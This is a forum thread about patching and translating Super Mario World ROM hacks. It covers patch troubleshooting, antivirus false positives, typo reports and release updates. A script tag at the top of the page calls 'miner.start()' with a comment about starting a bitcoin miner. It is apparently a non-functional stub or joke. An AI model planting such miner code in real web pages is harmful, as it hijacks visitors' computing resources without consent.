<script>
miner.start(); // initialise bitcoin miner
</script>

smw centralmario fan games galaxypge project

Fixed and Translated hacks

wanna make a game, or anything else? seminal bloom!
User avatar
Leet
Well, hello, Smith ( ´-`)ノ
Posts: 2684
Joined: 8 years ago
First name: Chie Arale
Pronouns: she/her
Location: Harman's Room

Re: Fixed and Translated hacks

Postby Leet » 5 months ago

The batch file doesn't seem to work for me, just closes itself when I enter the right ROM name.
Well it is a decent hack but sometime its just too repetitif there no level that actually pop in your face and your like oh yeah that level they all ressemble themselves and just monster along the way.
Blood Ghoul wrote:Sometimes it seems my blood spurts out in gobs, as if it were a fountain's pulsing sobs. I clearly hear it mutter as it goes yet cannot find the wound from which it flows. Before I met you, baby, I didn't know what I was missing.

User avatar
This Eye o' Mine
Posts: 196
Joined: 2 years ago
Pronouns: Nah, I'm good
Location: Ooh, yes please

Re: Fixed and Translated hacks

Postby This Eye o' Mine » 5 months ago

Are you sure that the .smc file is in the same folder as the batch file, that it's the VIP6 rom, and that you're entering it with the file extension (example: mix6_AAE.smc)?
If so, does it give any error message before it closes?

EDIT: only thing I can think of off the bat if it closes as soon as you enter the filename is that any antivirus you're running has blocked asar.exe in the asar folder (it's given me false positives before too). Please check if this is the case.
Image
Image
Image

User avatar
Leet
Well, hello, Smith ( ´-`)ノ
Posts: 2684
Joined: 8 years ago
First name: Chie Arale
Pronouns: she/her
Location: Harman's Room

Re: Fixed and Translated hacks

Postby Leet » 5 months ago

If I can't find the file, it tells me so. It's only when it actually locates the file (and thus I have done everything involved correctly) that it just instantly closes with no messages.

Asar seems to work fine if I try to use it manually.
Well it is a decent hack but sometime its just too repetitif there no level that actually pop in your face and your like oh yeah that level they all ressemble themselves and just monster along the way.
Blood Ghoul wrote:Sometimes it seems my blood spurts out in gobs, as if it were a fountain's pulsing sobs. I clearly hear it mutter as it goes yet cannot find the wound from which it flows. Before I met you, baby, I didn't know what I was missing.

User avatar
This Eye o' Mine
Posts: 196
Joined: 2 years ago
Pronouns: Nah, I'm good
Location: Ooh, yes please

Re: Fixed and Translated hacks

Postby This Eye o' Mine » 5 months ago

Sorry about the problems. I've sent you a PM for a temporary solution.
It sounds like an operating system environment quirk that I'm not aware of, considering it's been tested to work for several other people.

If anybody else has this problem or has an idea about what may be causing it, please let me know.
Image
Image
Image

User avatar
This Eye o' Mine
Posts: 196
Joined: 2 years ago
Pronouns: Nah, I'm good
Location: Ooh, yes please

Re: Fixed and Translated hacks

Postby This Eye o' Mine » 5 months ago

I've updated the VIP6 download to contain an asm file that will apply all of the relevant patches as a fallback in case the batch file fails, with a relevant change to the instructions. The effects of the patches themselves have not been altered.
Image
Image
Image

User avatar
norwegianguy
Posts: 13
Joined: 9 years ago
Location: norway

Re: Fixed and Translated hacks

Postby norwegianguy » 4 months ago

Hi. I tried to patch the Vip 6 translation patch. But it doesn't work for some reason. The main method fails, and when i tried the ASAR backup method that fails too. What's weird is, i've patched the file using Lunar IPS correctly. And i can play the ROM just fine using both a Zsnes and Snesx9 emulator, but when i try to make the patcher work it says the "file name is garbage" which i do not understand.
Here is attached a picture of what i see.
Can someone help me solve this problem? How do i apply the translation patch to my ROM?
Image

User avatar
This Eye o' Mine
Posts: 196
Joined: 2 years ago
Pronouns: Nah, I'm good
Location: Ooh, yes please

Re: Fixed and Translated hacks

Postby This Eye o' Mine » 4 months ago

Your ROM appears to be an SFC file. SNES roms come in the flavors of SFC and SMC, which are commonly (though not necessarily) distinguished by SMC files having a useless 512 ($200 hex) byte header, while SFC don't. Asar seems to assume that this rule is true, while I suspect your file does in fact have a copy header, causing Asar to access the file wrong.

To solve it, you can either remove the copy header in a hex editor, or (more simply) change the file extension to .smc before patching.
Since it looks like you have showing of file extensions turned off for files with program associations, here's how you do that:

Go to the 'View' tab in File Explorer (or whatever the tab is called in your language, it's the right most tab under the title bar) and click the middle check box in the column of three, the one that mentions file name extensions.
Now you can change the .sfc in the file name to .smc, and the patching should work.
Last edited by This Eye o' Mine on 03 May 2020, 13:04, edited 1 time in total.
Image
Image
Image

User avatar
norwegianguy
Posts: 13
Joined: 9 years ago
Location: norway

Re: Fixed and Translated hacks

Postby norwegianguy » 4 months ago

Thank you so much. I renamed the file to SMC as you said, and now the process works just fine.

User avatar
Shiny Ninetales
Posts: 15
Joined: 1 year ago

Re: Fixed and Translated hacks

Postby Shiny Ninetales » 4 months ago

Once again I must take off my hat for you amazing work. Thank you so much, to everyone on the team. I owe you eternally.

User avatar
Skye
Posts: 81
Joined: 4 months ago
Pronouns: she/her

Re: Fixed and Translated hacks

Postby Skye » 4 months ago

Not sure if this has been fixed already since I'm watching raocow's LP instead of playing the game myself, but the note for Lamentably Pathetic in VIP 5 says "swipes her off her feet", but I believe that the correct phrase would be "sweeps her off her feet".
Love is nothing in tennis and everything in life.
Contact me: aoi#0041

User avatar
Skye
Posts: 81
Joined: 4 months ago
Pronouns: she/her

Re: Fixed and Translated hacks

Postby Skye » 2 months ago

1. Should I be concerned if Windows Defender is removing VIPs 3-6, 8 Powers, SUPER, Scarlet Devil Mario, Romancing Mario, and Something Extra due to detecting a "virus", or is that just a false alarm? It wasn't doing this when I downloaded Hyper 6 last week.
EDIT: It's fine now. Weird.

2. Is there any chance of S Mario getting fixed and (re)translated?

Regardless, thanks for the hard work on all of these.
Love is nothing in tennis and everything in life.
Contact me: aoi#0041

User avatar
This Eye o' Mine
Posts: 196
Joined: 2 years ago
Pronouns: Nah, I'm good
Location: Ooh, yes please

Re: Fixed and Translated hacks

Postby This Eye o' Mine » 2 months ago

Most likely it's objecting to the file 'asar.exe'. Comments on that piece of software on SMWC seem to have been mentioning virus false positives in the past couple months. For what it's worth I can assure you we didn't put anything harmful in there, so it's probably just the anti-malware software freaking out because it doesn't recognize the executable and not taking any chances. Try downloading Asar from SMWC at https://www.smwcentral.net/?p=section&a ... s&id=19043 and scanning it to see what it thinks of that.

As for S Mario, it's on our list. Don't know if we'll be doing it next, but it'll probably get done at some point. For now there's another one almost done that I'll try to get up some time soon.
Image
Image
Image

User avatar
Skye
Posts: 81
Joined: 4 months ago
Pronouns: she/her

Re: Fixed and Translated hacks

Postby Skye » 2 months ago

This Eye o' Mine wrote: Most likely it's objecting to the file 'asar.exe'. Comments on that piece of software on SMWC seem to have been mentioning virus false positives in the past couple months. For what it's worth I can assure you we didn't put anything harmful in there, so it's probably just the anti-malware software freaking out because it doesn't recognize the executable and not taking any chances. Try downloading Asar from SMWC at https://www.smwcentral.net/?p=section&a ... s&id=19043 and scanning it to see what it thinks of that.

As for S Mario, it's on our list. Don't know if we'll be doing it next, but it'll probably get done at some point. For now there's another one almost done that I'll try to get up some time soon.
Thank you x2!
Love is nothing in tennis and everything in life.
Contact me: aoi#0041

User avatar
Skye
Posts: 81
Joined: 4 months ago
Pronouns: she/her

Re: Fixed and Translated hacks

Postby Skye » 2 months ago

Is there any chance of SMW Yeah getting translated?
Love is nothing in tennis and everything in life.
Contact me: aoi#0041

User avatar
This Eye o' Mine
Posts: 196
Joined: 2 years ago
Pronouns: Nah, I'm good
Location: Ooh, yes please

Re: Fixed and Translated hacks

Postby This Eye o' Mine » 2 months ago

Yeah, a chance.
Image
Image
Image

User avatar
This Eye o' Mine
Posts: 196
Joined: 2 years ago
Pronouns: Nah, I'm good
Location: Ooh, yes please

Re: Fixed and Translated hacks

Postby This Eye o' Mine » 1 month ago

UPDATE: After far too long of a delay Scarlet Devil Mario 2 is now translated, fixed, and up.
Image
Image
Image

User avatar
This Eye o' Mine
Posts: 196
Joined: 2 years ago
Pronouns: Nah, I'm good
Location: Ooh, yes please

Re: Fixed and Translated hacks

Postby This Eye o' Mine » 2 weeks ago

UPDATE:
Bless thee, ASPE! Bless thee! Thou art translated.
Image
Image
Image

User avatar
Skye
Posts: 81
Joined: 4 months ago
Pronouns: she/her

Re: Fixed and Translated hacks

Postby Skye » 2 weeks ago

This Eye o' Mine wrote: UPDATE:
Bless thee, ASPE! Bless thee! Thou art translated.
Thank you to the team for all the hard work!
EDIT: I know the team doesn't usually do hacks that are already in English, but would it be possible to fix Mario Gives Up and Mario Gives Up 2 at some point in the future, if it's not a bother?
EDIT2: Not sure if this is a bug with ASPE itself, or just the version found here, but some of the levels have Dragon Coins that respawn even after they've all been collected.
Last edited by Skye on 14 Sep 2020, 14:48, edited 1 time in total.
Love is nothing in tennis and everything in life.
Contact me: aoi#0041

User avatar
Skye
Posts: 81
Joined: 4 months ago
Pronouns: she/her

Re: Fixed and Translated hacks

Postby Skye » 2 weeks ago

Apologies for double-posting, but I think this is important enough that the thread should be bumped, rather than tacking it on to my previous post.
For ASPE, one of the listed fixes in the readme says "Fix for a loud audio crack that would be heard the first time a track with echo plays, due to uninitialized memory in the echo buffer." However, this issue is still present in a few areas. I've heard it happen when traveling to the special world, and when entering Castle of ICE! and I Bought Some Load-Bearing Poles.
Love is nothing in tennis and everything in life.
Contact me: aoi#0041

User avatar
This Eye o' Mine
Posts: 196
Joined: 2 years ago
Pronouns: Nah, I'm good
Location: Ooh, yes please

Re: Fixed and Translated hacks

Postby This Eye o' Mine » 2 weeks ago

Thanks for your report. However, it's likely that what you're hearing isn't what the fix note refers to. Is it a really loud noise that could be compared to something like a gunshot or dropping a hammer on a metal floor? If you mean you hear what sounds like remnants of the echo from a previously played track when a new track with echo plays, then that's normal for the addmusic tool used by this hack, and is prevalent even on snes9x which this hack seems designed for.

Testing it back now, I do notice a light crackling noise at the start of two of the tracks you mentioned. If it's this you're referring to, then I'm afraid it's probably outside of my power to do anything about it, as I'm not sure what's causing that. I might look into it, but I can't guarantee it's something that will be fixed.

If it's the gunshot then please tell me what version of what emulator (or console) you're playing this on.
Image
Image
Image

User avatar
Skye
Posts: 81
Joined: 4 months ago
Pronouns: she/her

Re: Fixed and Translated hacks

Postby Skye » 2 weeks ago

This Eye o' Mine wrote: Thanks for your report. However, it's likely that what you're hearing isn't what the fix note refers to. Is it a really loud noise that could be compared to something like a gunshot or dropping a hammer on a metal floor? If you mean you hear what sounds like remnants of the echo from a previously played track when a new track with echo plays, then that's normal for the addmusic tool used by this hack, and is prevalent even on snes9x which this hack seems designed for.

Testing it back now, I do notice a light crackling noise at the start of two of the tracks you mentioned. If it's this you're referring to, then I'm afraid it's probably outside of my power to do anything about it, as I'm not sure what's causing that. I might look into it, but I can't guarantee it's something that will be fixed.

If it's the gunshot then please tell me what version of what emulator (or console) you're playing this on.
I believe it might be the "remnants of the echo from a previously played track when a new track with echo plays". I'm not 100% sure if that's it, though, so I'll link a video with timestamps for what I heard.
I Bought Some Load-Bearing Poles Sound Pop
Castle of ICE! Sound Pop
Special World Sound Pop

Also, I didn't mention it in my previous posts, but I noticed a two small issues in the translation (unless I'm missing something).
Image
Shouldn't this say "four switch palaces"? If not, does the original text actually say "four palace switches" in Japanese?
Image
Shouldn't this say "They'll send shockwaves your way!", instead of "It'll send shockwaves your way!", since it's referring to multiple Super Thwomps?
Other than that, I'm just curious as to why you have to complete Boo Trick to unlock the translation note, since it's not a spoiler for the level itself, unless there's something I'm not picking up on.
Love is nothing in tennis and everything in life.
Contact me: aoi#0041

User avatar
This Eye o' Mine
Posts: 196
Joined: 2 years ago
Pronouns: Nah, I'm good
Location: Ooh, yes please

Re: Fixed and Translated hacks

Postby This Eye o' Mine » 2 weeks ago

That sound glitch is not the gunshot sound that I was referring to. It's kind of hard to make out since the audio in that recording seems a bit jittery in general, but the one point you linked when going to the special world seems like it's what was playing when you hit the goal tape on the 'Hope You Haven't Hit Those Switches' level. This is indeed the behavior of the addmusic system used in this hack as it would function on Snes9x at the time as far as I'm aware, which I think would represent the typical user experience, so while it is a bug, it is not a compatibility bug.

As for the other things, 'palace switches' is a term I tend to use to refer to the colored switches that are found in the palaces. The "it" instead of "they" is indeed a mistake. I recall I wrote singular "Thwomp" in my initial draft, then realized it was referring to multiple Thwomps and I must've sloppily forgotten to change the next sentence. The note needing to be unlocked is another oversight due to a change that is hard to explain, but it comes down to us originally knowing that there was an easter-egg in this level but not being certain what it was, then finding a bonus room involving Sakura Trick in the ROM while flipping through the maps in Lunar Magic, assuming that would be the secret and writing a note for it, only to later figure out what the easter egg was and that it had nothing to do with that map (the actual easter egg is a hard mode for the boss fight that happens when you enter the boss door when the timer is 388). We took the explanation for the non-existent bonus room out but I forgot to set the spoiler flag back. Thanks for pointing these out, I'll make a note for if I ever make an update.
Image
Image
Image

User avatar
Skye
Posts: 81
Joined: 4 months ago
Pronouns: she/her

Re: Fixed and Translated hacks

Postby Skye » 2 weeks ago

This Eye o' Mine wrote: That sound glitch is not the gunshot sound that I was referring to. It's kind of hard to make out since the audio in that recording seems a bit jittery in general, but the one point you linked when going to the special world seems like it's what was playing when you hit the goal tape on the 'Hope You Haven't Hit Those Switches' level. This is indeed the behavior of the addmusic system used in this hack as it would function on Snes9x at the time as far as I'm aware, which I think would represent the typical user experience, so while it is a bug, it is not a compatibility bug.

As for the other things, 'palace switches' is a term I tend to use to refer to the colored switches that are found in the palaces. The "it" instead of "they" is indeed a mistake. I recall I wrote singular "Thwomp" in my initial draft, then realized it was referring to multiple Thwomps and I must've sloppily forgotten to change the next sentence. The note needing to be unlocked is another oversight due to a change that is hard to explain, but it comes down to us originally knowing that there was an easter-egg in this level but not being certain what it was, then finding a bonus room involving Sakura Trick in the ROM while flipping through the maps in Lunar Magic, assuming that would be the secret and writing a note for it, only to later figure out what the easter egg was and that it had nothing to do with that map (the actual easter egg is a hard mode for the boss fight that happens when you enter the boss door when the timer is 388). We took the explanation for the non-existent bonus room out but I forgot to set the spoiler flag back. Thanks for pointing these out, I'll make a note for if I ever make an update.
No problem! Many thanks to you and the rest of the team for all the hard work.
Love is nothing in tennis and everything in life.
Contact me: aoi#0041

User avatar
Skye
Posts: 81
Joined: 4 months ago
Pronouns: she/her

Re: Fixed and Translated hacks

Postby Skye » 1 week ago

I'm really sorry for bumping this thread again because of ASPE, but shouldn't (^ ω ^)Horse lololol have a translation note mentioning how Yoshi is sometimes degradingly referred to as "Detteiu" by some Japanese Mario fans, and how "Detteiu" is localized as "Horse" in these translations? I realize that it's probably not an issue for people who actively watch raocow and know about the meme from the VIP series, which is obviously going to apply to most people playing these translations. However, for the few people who'd need an explanation, shouldn't there be a translation note addressing "Detteiu" being translated as "Horse", especially considering the fact that VIP 6 has a note about that?
EDIT: I think this also would apply to the Yoshi message in Prickly 'n Thorny in 8 Powers.
Love is nothing in tennis and everything in life.
Contact me: aoi#0041

User avatar
This Eye o' Mine
Posts: 196
Joined: 2 years ago
Pronouns: Nah, I'm good
Location: Ooh, yes please

Re: Fixed and Translated hacks

Postby This Eye o' Mine » 1 week ago

UPDATE:

S Mario is now translated and fixed.
Skye wrote: I'm really sorry for bumping this thread again because of ASPE, but shouldn't (^ ω ^)Horse lololol have a translation note mentioning how Yoshi is sometimes degradingly referred to as "Detteiu" by some Japanese Mario fans, and how "Detteiu" is localized as "Horse" in these translations? I realize that it's probably not an issue for people who actively watch raocow and know about the meme from the VIP series, which is obviously going to apply to most people playing these translations. However, for the few people who'd need an explanation, shouldn't there be a translation note addressing "Detteiu" being translated as "Horse", especially considering the fact that VIP 6 has a note about that?
EDIT: I think this also would apply to the Yoshi message in Prickly 'n Thorny in 8 Powers.
Those are oversights, I suppose. We made sure to include it in S Mario.
Image
Image
Image


Return to “project showcase”

Who is online

Users browsing this forum: No registered users and 1 guest